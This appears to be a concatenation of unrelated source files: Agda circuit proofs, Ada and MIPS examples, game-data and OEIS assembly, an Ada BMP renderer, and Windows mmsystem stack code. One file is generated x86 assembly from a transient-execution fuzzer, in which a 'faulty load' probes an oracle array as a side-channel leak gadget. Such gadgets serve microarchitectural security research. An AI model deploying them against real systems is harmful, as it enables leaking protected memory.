circuit-length : ∀ {A B} → A ⟷ B → Nat
circuit-length [ f ] = t f
circuit-length id = 1
circuit-length (f ⁻¹) = circuit-length f
circuit-length (g ∘ f) = circuit-length f + circuit-length g
circuit-length (f ⊗ g) = max (circuit-length f) (circuit-length g)
circuit-length (f ⊕ g) = max (circuit-length f) (circuit-length g)
{-
`circuit-width` measures the maximum width of the circuit described. viz. The maximum of the widths of all cross-section types.
-}
module _ (w : ∀ {A B} → A ≅ B → Nat) where
circuit-width : ∀ {A B} → A ⟷ B → Nat
circuit-width [ f ] = w f
circuit-width {A} id = size A
circuit-width (f ⁻¹) = circuit-width f
circuit-width (g ∘ f) = max (circuit-width f) (circuit-width g)
circuit-width (f ⊗ g) = circuit-width f + circuit-width g
circuit-width (f ⊕ g) = max (circuit-width f) (circuit-width g)
{-
Proposition: For any morphism f : A ⟷ B, (circuit-length f) is the least upper bound of (path-length f x), for any x.
-}
Max : ∀ A → (El A → Nat) → Nat
Max 𝟘 f = 0
Max 𝟙 f = f tt
Max (A ⊕ B) f = max (Max A (f P.∘ left)) (Max B (f P.∘ right))
Max (A ⊗ B) f = Max A λ a → Max B λ b → f (a , b)
Maximum : ∀ A (f : El A → Nat) (x : El A) → f x ≤ Max A f
Maximum 𝟘 f ()
Maximum 𝟙 f tt = diff! 0
Maximum (A ⊕ B) f (left x) = prf
where
MA : f (left x) ≤ Max A (f P.∘ left)
MA = Maximum A (f P.∘ left) x
prf : f (left x) ≤ max (Max A (f P.∘ left)) (Max B (f P.∘ right))
prf = {!!}
Maximum (A ⊕ B) f (right x) = prf
where
MB : f (right x) ≤ Max B (f P.∘ right)
MB = Maximum B (f P.∘ right) x
prf : f (right x) ≤ max (Max A (f P.∘ left)) (Max B (f P.∘ right))
prf = {!!}
Maximum (A ⊗ B) f (x , y) = {!!}
{-
Lemma: The max of a constant function is the value of the function.
-}
MaxConst : ∀ n A → El A → Max A (λ _ → n) ≡ n
MaxConst n 𝟘 ()
MaxConst n 𝟙 tt = P.refl
MaxConst n (A ⊕ B) (left x) = {!!}
MaxConst n (A ⊕ B) (right x) = {!!}
MaxConst n (A ⊗ B) (x , y) = {!!}
module _ (t : ∀ {A B} → A ≅ B → Nat) where
path≤circuit : ∀ {A B}
→ (f : A ⟷ B)
→ Max A (path-length (λ f _ → t f) f) ≤ circuit-length t f
path≤circuit [ f ] = {!!}
path≤circuit id = {!!}
path≤circuit (f ⁻¹) = {!!}
path≤circuit (g ∘ f) = {!!}
path≤circuit (f ⊗ g) = {!!}
path≤circuit (f ⊕ g) = {!!}
{-
Future work:
* Continue the literature search. Much of the underpinnings of this work are speculative,
such as the definitions of 'width' and 'length'.
* Continue the search for time/space invariants, and other properties of equivalence classes
of morphisms.
* Derive circuit-length circuit-width explicitly as LUBs
over element dependent metrics path-length and path-width (currently undefined).
* Find examples! The primitive objects and morphisms used here will only produce
straight-line programs.
* c.f. lit on complexity analysis and tradeoffs re. straight-line programs.
-}
-- These are the canonical equivalences arising from the categorical structure of a symmetric monoidal category.
-- I thought they might be a good place to start looking for nonzero time/space tradeoffs.
-- Should we investigate at all toward some form of distribuitive monoidal category?
{-
∘idₗ : ∀ {A B} (f : A ⟷ B) → id ∘ f ≅ f
∘idᵣ : ∀ {A B} (f : A ⟷ B) → f ∘ id ≅ f
∘invₗ : ∀ {A B} (f : A ⟷ B)
→ f ⁻¹ ∘ f ≅ id
∘invᵣ : ∀ {A B} (f : A ⟷ B)
→ f ∘ f ⁻¹ ≅ id
∘assoc : ∀ {A B C D}
→ (f : A ⟷ B) (g : B ⟷ C) (h : C ⟷ D)
→ (h ∘ g) ∘ f ≅ h ∘ (g ∘ f)
⁻¹cong : ∀ {A B}
→ {f g : A ⟷ B} → f ≅ g
→ f ⁻¹ ≅ g ⁻¹
∘cong : ∀ {A B C}
→ {f g : A ⟷ B} → f ≅ g
→ {h i : B ⟷ C} → h ≅ i
→ h ∘ f ≅ i ∘ g
⊗cong : ∀ {A B C D}
→ {f g : A ⟷ B} → f ≅ g
→ {h i : C ⟷ D} → h ≅ i
→ f ⊗ h ≅ g ⊗ i
⊕cong : ∀ {A B C D}
→ {f g : A ⟷ B} → f ≅ g
→ {h i : C ⟷ D} → h ≅ i
→ f ⊕ h ≅ g ⊕ i
∘/⁻¹ : ∀ {A B C}
→ (f : A ⟷ B) (g : B ⟷ C)
→ (g ∘ f) ⁻¹ ≅ f ⁻¹ ∘ g ⁻¹
⊗tri : ∀ {A B}
→ (id ⊗ [ ⊗λ ]) ∘ [ ⊗α ] ≅ [ ⊗ρ ] ⊗ id ∶ (A ⊗ 𝟙) ⊗ B ⟷ A ⊗ B
⊕tri : ∀ {A B}
→ (id ⊕ [ ⊕λ ]) ∘ [ ⊕α ] ≅ [ ⊕ρ ] ⊕ id ∶ (A ⊕ 𝟘) ⊕ B ⟷ A ⊕ B
⊕pent : ∀ {A B C D}
→ [ ⊕α ] ∘ [ ⊕α ] ≅ (id ⊕ [ ⊕α ]) ∘ [ ⊕α ] ∘ ([ ⊕α ] ⊕ id) ∶ ((A ⊕ B) ⊕ C) ⊕ D ⟷ A ⊕ (B ⊕ (C ⊕ D))
⊗pent : ∀ {A B C D}
→ [ ⊗α ] ∘ [ ⊗α ] ≅ (id ⊗ [ ⊗α ]) ∘ [ ⊗α ] ∘ ([ ⊗α ] ⊗ id) ∶ ((A ⊗ B) ⊗ C) ⊗ D ⟷ A ⊗ (B ⊗ (C ⊗ D))
⊗hex : ∀ {A B C}
→ (id ⊗ [ ⊗σ ]) ∘ [ ⊗α ] ∘ ([ ⊗σ ] ⊗ id) ≅ [ ⊗α ] ∘ [ ⊗σ ] ∘ [ ⊗α ] ∶ (A ⊗ B) ⊗ C ⟷ B ⊗ (C ⊗ A)
⊕hex : ∀ {A B C}
→ (id ⊕ [ ⊕σ ]) ∘ [ ⊕α ] ∘ ([ ⊕σ ] ⊕ id) ≅ [ ⊕α ] ∘ [ ⊕σ ] ∘ [ ⊕α ] ∶ (A ⊕ B) ⊕ C ⟷ B ⊕ (C ⊕ A)
⊗hex⁻¹ : ∀ {A B C}
→ ([ ⊗σ ] ⊗ id) ∘ [ ⊗α ] ⁻¹ ∘ (id ⊗ [ ⊗σ ]) ≅ [ ⊗α ] ⁻¹ ∘ [ ⊗σ ] ∘ [ ⊗α ] ⁻¹ ∶ A ⊗ (B ⊗ C) ⟷ (C ⊗ A) ⊗ B
⊕hex⁻¹ : ∀ {A B C}
→ ([ ⊕σ ] ⊕ id) ∘ [ ⊕α ] ⁻¹ ∘ (id ⊕ [ ⊕σ ]) ≅ [ ⊕α ] ⁻¹ ∘ [ ⊕σ ] ∘ [ ⊕α ] ⁻¹ ∶ A ⊕ (B ⊕ C) ⟷ (C ⊕ A) ⊕ B
-}
|
Task/Count-the-coins/Ada/count-the-coins.ada | LaudateCorpus1/RosettaCodeData | 1 | 617 | with Ada.Text_IO;
procedure Count_The_Coins is
type Counter_Type is range 0 .. 2**63-1; -- works with gnat
type Coin_List is array(Positive range <>) of Positive;
function Count(Goal: Natural; Coins: Coin_List) return Counter_Type is
Cnt: array(0 .. Goal) of Counter_Type := (0 => 1, others => 0);
-- 0 => we already know one way to choose (no) coins that sum up to zero
-- 1 .. Goal => we do not (yet) other ways to choose coins
begin
for C in Coins'Range loop
for Amount in 1 .. Cnt'Last loop
if Coins(C) <= Amount then
Cnt(Amount) := Cnt(Amount) + Cnt(Amount-Coins(C));
-- Amount-Coins(C) plus Coins(C) sums up to Amount;
end if;
end loop;
end loop;
return Cnt(Goal);
end Count;
procedure Print(C: Counter_Type) is
begin
Ada.Text_IO.Put_Line(Counter_Type'Image(C));
end Print;
begin
Print(Count( 1_00, (25, 10, 5, 1)));
Print(Count(1000_00, (100, 50, 25, 10, 5, 1)));
end Count_The_Coins;
|
data/pokemon/unown_pic_pointers.asm | Dev727/ancientplatinum | 28 | 29440 | <reponame>Dev727/ancientplatinum<filename>data/pokemon/unown_pic_pointers.asm
UnownPicPointers::
; entries correspond to Unown letters, two apiece
dba UnownAFrontpic
dba UnownABackpic
dba UnownBFrontpic
dba UnownBBackpic
dba UnownCFrontpic
dba UnownCBackpic
dba UnownDFrontpic
dba UnownDBackpic
dba UnownEFrontpic
dba UnownEBackpic
dba UnownFFrontpic
dba UnownFBackpic
dba UnownGFrontpic
dba UnownGBackpic
dba UnownHFrontpic
dba UnownHBackpic
dba UnownIFrontpic
dba UnownIBackpic
dba UnownJFrontpic
dba UnownJBackpic
dba UnownKFrontpic
dba UnownKBackpic
dba UnownLFrontpic
dba UnownLBackpic
dba UnownMFrontpic
dba UnownMBackpic
dba UnownNFrontpic
dba UnownNBackpic
dba UnownOFrontpic
dba UnownOBackpic
dba UnownPFrontpic
dba UnownPBackpic
dba UnownQFrontpic
dba UnownQBackpic
dba UnownRFrontpic
dba UnownRBackpic
dba UnownSFrontpic
dba UnownSBackpic
dba UnownTFrontpic
dba UnownTBackpic
dba UnownUFrontpic
dba UnownUBackpic
dba UnownVFrontpic
dba UnownVBackpic
dba UnownWFrontpic
dba UnownWBackpic
dba UnownXFrontpic
dba UnownXBackpic
dba UnownYFrontpic
dba UnownYBackpic
dba UnownZFrontpic
dba UnownZBackpic
|
oeis/138/A138674.asm | neoneye/loda-programs | 11 | 175874 | <reponame>neoneye/loda-programs
; A138674: Prime(n)^5 mod prime(n-1).
; Submitted by <NAME>
; 1,2,2,2,10,10,15,17,2,3,26,25,32,35,21,38,32,29,19,32,38,76,57,16,54,32,97,32,43,57,8,47,32,59,32,75,83,46,94,164,32,88,32,59,32,82,63,132,32
mov $2,$0
add $0,1
seq $0,40 ; The prime numbers.
pow $0,5
seq $2,40 ; The prime numbers.
mod $0,$2
|
3° Período/Arquiterura-e-Organiza-o-de-Computadores/Operações Básicas MIPS 1.asm | sullyvan15/UVV | 0 | 244341 | .data
out_string: .ascii "\nHello, World!\n"
.text
main:
li $v0, 4
la $a0, out_string
syscall |
src/tcg-maps-render.adb | Fabien-Chouteau/tiled-code-gen | 1 | 14868 | ------------------------------------------------------------------------------
-- --
-- tiled-code-gen --
-- --
-- Copyright (C) 2018 <NAME> --
-- --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
with Ada.Text_IO; use Ada.Text_IO;
with Ada.Text_IO.Text_Streams; use Ada.Text_IO.Text_Streams;
with Interfaces; use Interfaces;
with TCG.Palette; use TCG.Palette;
with TCG.Tile_Layers; use TCG.Tile_Layers;
with TCG.Tilesets; use TCG.Tilesets;
package body TCG.Maps.Render is
type Unsigned_8_Array is array (Integer range <>) of Unsigned_8;
type Header (As_Array : Boolean := True) is record
case As_Array is
when True =>
Arr : Unsigned_8_Array (1 .. 14);
when False =>
Signature : Integer_16;
Size : Integer_32; -- File size
Reserved1 : Integer_16;
Reserved2 : Integer_16;
Offset : Integer_32; -- Data offset
end case;
end record with Unchecked_Union, Pack, Size => 14 * 8;
type Info (As_Array : Boolean := True) is record
case As_Array is
when True =>
Arr : Unsigned_8_Array (1 .. 40);
when False =>
Struct_Size : Integer_32;
Width : Integer_32; -- Image width in pixels
Height : Integer_32; -- Image hieght in pixels
Planes : Integer_16;
Pixel_Size : Integer_16; -- Bits per pixel
Compression : Integer_32; -- Zero means no compression
Image_Size : Integer_32; -- Size of the image data in UInt8s
PPMX : Integer_32; -- Pixels per meter in x led
PPMY : Integer_32; -- Pixels per meter in y led
Palette_Size : Integer_32; -- Number of colors
Important : Integer_32;
end case;
end record with Unchecked_Union, Pack, Size => 40 * 8;
------------
-- To_BMP --
------------
procedure To_BMP
(M : Map;
Path : String;
Background : ARGB_Color)
is
Output : File_Type;
Tile_Width : constant Natural := Maps.Tile_Width (M);
Tile_Height : constant Natural := Maps.Tile_Height (M);
Width : constant Natural := Maps.Width (M) * Maps.Tile_Width (M);
Height : constant Natural := Maps.Height (M) * Maps.Tile_Height (M);
Hdr : Header;
Inf : Info;
Row_Size : constant Integer_32 := Integer_32 (Width * 24);
Row_Padding : constant Integer_32 := (32 - (Row_Size mod 32)) mod 32 / 8;
Data_Size : constant Integer_32 :=
(Row_Size + Row_Padding) * Integer_32 (Height);
RGB_Pix : ARGB_Color;
Pix_Out : Unsigned_8_Array (1 .. 3);
Padding : constant Unsigned_8_Array (1 .. Integer (Row_Padding)) :=
(others => 0);
T_Id : Tilesets.Master_Tile_Id;
begin
Create (File => Output, Mode => Out_File, Name => Path);
if not Is_Open (Output) then
raise Program_Error with "Cannot create file: " & Path;
end if;
Hdr.Signature := 16#4D42#;
Hdr.Size := (Data_Size + 54) / 4;
Hdr.Offset := 54;
Inf.Struct_Size := 40;
Inf.Width := Integer_32 (Width);
Inf.Height := Integer_32 (Height);
Inf.Planes := 1;
Inf.Pixel_Size := 24;
Inf.Compression := 0;
Inf.Image_Size := Data_Size / 4;
Inf.PPMX := 2835;
Inf.PPMY := 2835;
Inf.Palette_Size := 0;
Inf.Important := 0;
Unsigned_8_Array'Write (Stream (Output), Hdr.Arr);
Unsigned_8_Array'Write (Stream (Output), Inf.Arr);
for Y in reverse 0 .. Height - 1 loop
for X in 0 .. Width - 1 loop
RGB_Pix := Transparent;
for L in reverse 0 .. Number_Of_Layers (M) - 1 loop
T_Id := Master_Tile (M,
Tile (Layer (M, L),
1 + X / Tile_Width,
1 + Y / Tile_Height));
if T_Id /= No_Tile then
RGB_Pix := Tilesets.Pix (T_Id,
1 + X mod Tile_Width,
1 + Y mod Tile_Height);
end if;
exit when RGB_Pix /= Palette.Transparent;
end loop;
if RGB_Pix = Transparent then
RGB_Pix := Background;
end if;
Pix_Out (1) := RGB_Pix.B;
Pix_Out (2) := RGB_Pix.G;
Pix_Out (3) := RGB_Pix.R;
Unsigned_8_Array'Write (Stream (Output), Pix_Out);
end loop;
end loop;
Unsigned_8_Array'Write (Stream (Output), Padding);
Close (Output);
end To_BMP;
end TCG.Maps.Render;
|
test/Fail/Issue5434-4.agda | KDr2/agda | 0 | 10658 | <filename>test/Fail/Issue5434-4.agda
{-# OPTIONS --cubical-compatible #-}
mutual
record R : Set₁ where
constructor c
field
@0 A : Set
x : _
_ : (@0 A : Set) → A → R
_ = c
|
Transynther/x86/_processed/AVXALIGN/_st_zr_/i7-7700_9_0xca_notsx.log_12_74.asm | ljhsiun2/medusa | 9 | 8570 | <reponame>ljhsiun2/medusa<filename>Transynther/x86/_processed/AVXALIGN/_st_zr_/i7-7700_9_0xca_notsx.log_12_74.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0xc2b8, %r11
add $16230, %rbp
movb (%r11), %r13b
nop
inc %rdi
lea addresses_UC_ht+0x1458, %r10
add %rdi, %rdi
mov (%r10), %r11d
nop
nop
nop
nop
and %r13, %r13
lea addresses_normal_ht+0xbd58, %rdx
nop
nop
nop
xor %r13, %r13
mov (%rdx), %r10w
nop
nop
nop
nop
add $6326, %r11
lea addresses_UC_ht+0x7478, %rbp
nop
nop
nop
nop
nop
xor $60464, %r9
movups (%rbp), %xmm5
vpextrq $0, %xmm5, %r10
nop
xor $18920, %rdi
lea addresses_WC_ht+0x11eb8, %r11
nop
sub %r13, %r13
mov (%r11), %r9w
nop
nop
nop
xor $65513, %rdx
lea addresses_WT_ht+0x1e278, %rsi
lea addresses_UC_ht+0x10b38, %rdi
nop
nop
nop
nop
inc %r9
mov $98, %rcx
rep movsw
nop
nop
nop
lfence
lea addresses_A_ht+0x126b8, %r9
nop
nop
nop
nop
nop
add $41498, %rdi
movb (%r9), %dl
sub %rdi, %rdi
lea addresses_WT_ht+0x1a070, %rdi
nop
nop
nop
nop
nop
add %r11, %r11
movups (%rdi), %xmm5
vpextrq $0, %xmm5, %rcx
nop
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_normal_ht+0x18ab8, %r9
nop
nop
nop
nop
xor %rbp, %rbp
mov $0x6162636465666768, %r11
movq %r11, %xmm6
movups %xmm6, (%r9)
nop
nop
nop
inc %rdi
lea addresses_UC_ht+0x1e0b8, %rsi
lea addresses_D_ht+0x15628, %rdi
nop
nop
nop
nop
dec %r13
mov $88, %rcx
rep movsb
nop
nop
inc %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %r15
push %rcx
push %rdi
push %rsi
// Store
lea addresses_normal+0x7e78, %r10
nop
nop
nop
add %r15, %r15
movb $0x51, (%r10)
nop
nop
nop
nop
dec %r11
// Store
lea addresses_normal+0x154a4, %r15
nop
nop
nop
inc %rsi
movl $0x51525354, (%r15)
nop
add $19025, %r14
// Load
lea addresses_A+0x112b8, %r10
nop
nop
nop
nop
cmp $34782, %rdi
mov (%r10), %r14
nop
nop
nop
and %rcx, %rcx
// Store
lea addresses_RW+0x1cd38, %r11
nop
nop
and %r14, %r14
mov $0x5152535455565758, %r10
movq %r10, %xmm2
movaps %xmm2, (%r11)
and %r15, %r15
// Store
lea addresses_WC+0x3010, %r10
nop
nop
nop
xor %rdi, %rdi
mov $0x5152535455565758, %r14
movq %r14, %xmm6
movaps %xmm6, (%r10)
nop
nop
dec %rsi
// Load
lea addresses_WT+0x18ab8, %r14
nop
nop
nop
nop
nop
cmp %rsi, %rsi
mov (%r14), %r15w
nop
nop
dec %r14
// Store
lea addresses_US+0x1ab8, %r11
nop
nop
sub %r10, %r10
mov $0x5152535455565758, %r15
movq %r15, %xmm1
vmovups %ymm1, (%r11)
nop
nop
nop
and $31821, %rsi
// Store
lea addresses_PSE+0x13120, %rcx
nop
cmp $44713, %r15
movl $0x51525354, (%rcx)
nop
nop
nop
and %r11, %r11
// Faulty Load
lea addresses_WT+0x18ab8, %r11
nop
nop
nop
cmp $31102, %rcx
vmovaps (%r11), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $0, %xmm7, %rdi
lea oracles, %r11
and $0xff, %rdi
shlq $12, %rdi
mov (%r11,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r15
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 10, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 5, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 2, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_US'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7, 'same': True, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 7, 'same': True, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'00': 1, '58': 11}
58 58 58 58 00 58 58 58 58 58 58 58
*/
|
programs/oeis/007/A007997.asm | karttu/loda | 1 | 6133 | ; A007997: a(n) = ceiling((n-3)(n-4)/6).
; 0,0,1,1,2,4,5,7,10,12,15,19,22,26,31,35,40,46,51,57,64,70,77,85,92,100,109,117,126,136,145,155,166,176,187,199,210,222,235,247,260,274,287,301,316,330,345,361,376,392,409,425,442,460,477,495,514,532,551,571,590,610,631,651,672,694,715,737,760,782,805,829,852,876,901,925,950,976,1001,1027,1054,1080,1107,1135,1162,1190,1219,1247,1276,1306,1335,1365,1396,1426,1457,1489,1520,1552,1585,1617,1650,1684,1717,1751,1786,1820,1855,1891,1926,1962,1999,2035,2072,2110,2147,2185,2224,2262,2301,2341,2380,2420,2461,2501,2542,2584,2625,2667,2710,2752,2795,2839,2882,2926,2971,3015,3060,3106,3151,3197,3244,3290,3337,3385,3432,3480,3529,3577,3626,3676,3725,3775,3826,3876,3927,3979,4030,4082,4135,4187,4240,4294,4347,4401,4456,4510,4565,4621,4676,4732,4789,4845,4902,4960,5017,5075,5134,5192,5251,5311,5370,5430,5491,5551,5612,5674,5735,5797,5860,5922,5985,6049,6112,6176,6241,6305,6370,6436,6501,6567,6634,6700,6767,6835,6902,6970,7039,7107,7176,7246,7315,7385,7456,7526,7597,7669,7740,7812,7885,7957,8030,8104,8177,8251,8326,8400,8475,8551,8626,8702,8779,8855,8932,9010,9087,9165,9244,9322,9401,9481,9560,9640,9721,9801,9882,9964,10045,10127,10210,10292
mov $1,$0
bin $1,2
add $1,2
div $1,3
|
base/mvdm/wow16/mmsystem/stack.asm | npocmaka/Windows-Server-2003 | 17 | 24296 | page 80,132
;***************************************************************************;
;
; STACK.ASM
;
; Copyright (c) Microsoft Corporation 1989, 1990. All rights reserved.
;
; This module contains a routine that calls a callback function on a
; internal stack. This is designed to be used by MMSYSTEM drivers that
; call user callback functions at async interupt time.
;
; Revision history:
;
; 07/30/90 First created by ToddLa (moved from SndBlst driver)
; 04/24/91 MikeRo. Added stack usage stuff.
; 07/07/91 CurtisP. New stack switcher code that allows user to
; configure size and number of stacks. Default is 3
; frames of 1.5kb each. This is the minimum that MCISEQ
; needs in standard mode (running concurrent with wave).
; [mmsystem]!stackframes= and !stacksize=. stackframes
; mul stacksize can not be > 64k.
; 07/24/91 ToddLa. even newer stack switcher code! export StackEnter
; and StackLeave
; 11/02/92 StephenE. Hacked the code to make it work on NT/WOW.
;
;***************************************************************************;
ifdef MYDEBUG
DEBUG_RETAIL equ 1
endif
?PLM=1 ; pascal call convention
?WIN=0 ; NO! Windows prolog/epilog code
.286p
.xlist
include wow.inc
include wowmmcb.inc
include wowmmed.inc
include cmacros.inc
; include windows.inc
; include mmsystem.inc
; include mmddk.inc
; include wowmmcb.inc
include vint.inc
.list
OFFSEL STRUC
Off dw ?
Sel dw ?
OFFSEL ENDS
LOHI STRUC
Lo dw ?
Hi dw ?
LOHI ENDS
DCB_NOSWITCH equ 0008h ; don't switch stacks for callback
DCB_TYPEMASK equ 0007h ; callback type mask
DCB_NULL equ 0000h ; unknown callback type
; flags for wFlags parameter of DriverCallback()
DCB_WINDOW equ 0001h ; dwCallback is a HWND
DCB_TASK equ 0002h ; dwCallback is a HTASK
DCB_FUNCTION equ 0003h ; dwCallback is a FARPROC
externFP PostMessage ; in USER
externFP PostAppMessage ; in USER
externFP CALLPROC32W ; in Kernel
externFP ThunkInit ; in init.c
externFP WOW16Call ; in Kernel
;******************************************************************************
;
; SEGMENTS
;
;******************************************************************************
createSeg FIX, CodeFix, word, public, CODE
createSeg INTDS, DataFix, byte, public, DATA
;***************************************************************************;
;
; equates and structure definitions
;
;***************************************************************************;
STACK_MAGIC equ 0BBADh
;***************************************************************************;
;
; Local data segment
;
;***************************************************************************;
sBegin DataFix
;
; This is the stack we will switch to whenever we are calling
; a user call back
;
public gwStackSize
public gwStackFrames
public gwStackUse
public gwStackSelector
public hdrvDestroy
public vpCallbackData
public hGlobal
public DoInterrupt
public tid32Message
public mmwow32Lib
public CheckThunkInit
gwStackSize dw 0
gwStackFrames dw 0
gwStackUse dw 0
gwStackSelector dw 0
hdrvDestroy dw -1 ; this handle is being closed
vpCallbackData dd 0
hGlobal dd 0
tid32Message dd 0 ; timer driver entry point
mmwow32Lib dd 0
sEnd DataFix
;-------------------------------------------------------------------------;
;
; debug support
;
;-------------------------------------------------------------------------;
externFP OutputDebugString
;--------------------------Private-Macro----------------------------------;
; DOUT String - send a debug message to the debugger
;
; Entry:
; String String to send to the COM port, does not need a CR,LF
;
; Registers Destroyed:
; none
;
; NOTE no code is generated unless the MYDEBUG symbol is defined
;
; History:
; Sun 31-Jul-1989 -by- ToddLa
; Wrote it.
;-------------------------------------------------------------------------;
DOUT macro text
local string_buffer_stack
ifdef MYDEBUG
push cs
push offset string_buffer_stack
call OutputDebugString
jmp @F
string_buffer_stack label byte
db "mmsystem: "
db "&text&",13,10,0
@@:
endif
endm
;***************************************************************************;
;
; code segment
;
;***************************************************************************;
sBegin CodeFix
assumes cs, CodeFix
assumes ds, nothing
assumes es, nothing
externA __WinFlags
public CodeFixWinFlags
public CodeFixDS
CodeFixWinFlags dw __WinFlags
CodeFixDS dw DataFixBASE
;***************************************************************************;
;
; @doc DDK MMSYSTEM
;
; @asm StackEnter |
;
; This function switches to the next internal mmsystem interupt stack
; available.
;
; if one is not available we stay on the current stack.
;
; the size and number of mmsystem stacks is controlable from SYSTEM.INI
; (these are the defaults)
;
; [mmsystem]
; StackSize = 1536
; StackFrames = 3
;
; for every call to StackEnter a call to StackLeave *must* be made (even
; if StackEnter fails!)
;
; this function is intended to be used as the first thing done by a ISR
;
; MyISR proc far
;
; call StackEnter ; switch to a safe stack
;
; pusha ; save registers we use
;
; <handle IRQ>
;
; popa ; restore registers
;
; call StackLeave ; return to interupt stack
; iret ; done with ISR
;
; MyISR endp
;
; The old SS:SP is pushed onto the new stack, and the function returns.
;
; @rdesc NC ** succesfuly switced to a new stack
; C ** you are hosed jack, no stacks left
; (you remain on current stack)
;
; @uses flags
;
; @saves all
;
; @xref StackLeave, DriverCallback
;
;***************************************************************************;
assumes ds, nothing
assumes es, nothing
cProc StackEnter, <FAR, PUBLIC>, <>
cBegin nogen
;
; On WOW we only emulate Standard mode therefore I won't bother
; with the test described below.
;
; if we are in 386 mode or better (ie *not* standard mode) then, just
; get out.
;
; test cs:[CodeFixWinFlags],WF_WIN286
; jz stack_enter_retf
push ds
mov ds,[CodeFixDS]
assumes ds,DataFix
cmp [gwStackUse], 0 ; are we out of stacks?
jne stack_enter_have_stack_will_travel ; ..no go grab it
;**********************************************************************-;
;
; We are out of internal stacks. To give us the greates chance
; of coming out of this condition alive, we stay on the current
; stack. This could fail miserably if we are on a very small
; stack**but it is better than crashing outright.
;
;**********************************************************************-;
ifdef DEBUG_RETAIL
cmp [gwStackSelector], 0
je stack_enter_stay_here
DOUT <StackEnter: All stacks in use, increase StackFrames>
int 3
endif
ifdef MYDEBUG
